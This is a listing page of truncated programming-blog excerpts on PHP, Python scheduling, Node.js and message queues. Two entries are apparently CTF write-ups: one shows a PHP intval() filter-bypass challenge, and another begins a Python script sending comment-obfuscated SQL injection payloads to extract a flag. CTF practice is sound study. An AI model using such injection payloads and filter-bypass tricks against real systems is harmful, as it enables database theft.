PHP elasticsearch learning record

catalogue I ElasticSearch installation 1. Download ElasticSearch (window) server  2.PHP install es extension ​ II ElasticSearch property Word introduction III Introduction to elasticsearch PHP API Document address: https://www.elastic.co/guide/cn/index.html Learning record based on window I ElasticSearch installation 1. Down ...

Added by starmikky on Fri, 17 Dec 2021 15:07:54 +0200

How to use Python as a lazy artifact?

In our daily work, we often use tasks that need to be executed periodically. One way is to use the crond[1] of Linux system combined with the command line. Another way is to use Python directly. What follows is the implementation of common Python timing tasks.1. Using while True: + sleep() to implement scheduled tasksThe sleep(secs) function in ...

Added by stuart7398 on Fri, 17 Dec 2021 05:55:24 +0200

10 minutes, using node JS creates a real-time early warning system for bad weather!

Some time ago, many disasters occurred in China. Zhengzhou high tech Zone, where we were at that time, experienced the situation of water and power failure. It's frightening to think of it!Therefore, it was decided to build a complete real-time weather early warning project, mainly using node JS and the third-party free interface for aggregatin ...

Added by comtek on Thu, 16 Dec 2021 17:15:35 +0200

CTFshow topic brushing Diary - WEB-PHP feature (Part I 89-115)

Part1 Bypass skills about intval() function web89 clude("flag.php"); highlight_file(__FILE__); if(isset($_GET['num'])){ $num = $_GET['num']; if(preg_match("/[0-9]/", $num)){ die("no no no!"); } if(intval($num)){ echo $flag; } } It can be recognized as a number by intval, excluding the numbers 0-9 After ...

Added by molave on Wed, 15 Dec 2021 15:56:51 +0200

PHP learning notes

1, Object oriented programming 1. Class and object 1.1. Classes and objects Class class name {member}$object name = new class name (parameter); 1.2. Class encapsulation <?php class Person { // The following are the member properties of people, which are encapsulated private members private $name ; // People's names ...

Added by chitta_pk on Sat, 11 Dec 2021 14:46:48 +0200

PHP learning notes 17: iterators and generators

PHP learning notes 17: iterators and generators Source: php.net Iterator related concepts widely exist in various programming languages and design patterns. Here are two related articles I recommend: Python learning notes 31: iterative techniquesDesign pattern with Python 9: iterator pattern iterator In php, you can implement Iterator i ...

Added by cdoyle on Fri, 10 Dec 2021 12:40:10 +0200

This article describes in detail the scenarios in which message queuing is applied

When we are developing or designing a website, we often encounter mass SMS, mass email, or send in station letters to all users of the system, or in the order system, we need to record a large number of logs. If our system is an e-commerce system, when designing rush buying and second kill activities, the server is high and distributed, and we ...

Added by zesoft.net on Wed, 08 Dec 2021 23:31:48 +0200

PHP: PHP reads records from Excel files

Because the work needs to read out the Excel file records and then write them into the database. Before, VBS was used, but it is not a formal application. It is also OK to use PowerBuilder, but PowerBuilder is only used temporarily after all. C# it has not been used for a long time, so I intend to use the recently learned PHP to operate. After ...

Added by cwheel3915 on Wed, 08 Dec 2021 07:03:52 +0200

PHP learning notes 10: classes and objects II

PHP learning notes 10: classes and objects II Source: php.net Automatic loading In real projects, we often put class definitions in a separate PHP file. For example, there is a class MyClass, and the corresponding PHP file name may be my_class.cls.php, use require or include to load the corresponding file. In addition to manually loading ...

Added by Boo-urns on Tue, 07 Dec 2021 06:04:34 +0200

[ctfshow internal competition] web wp

Sign in F12 with register.php import requests import re url1 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/register.php" url2 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/login.php" flag = '' for i in range(1, 50): payload = "hex(hex(substr((select/**/flag/**/from/**/flag)from/**/" + str(i) + "/** ...

Added by demophoon88 on Fri, 03 Dec 2021 07:16:22 +0200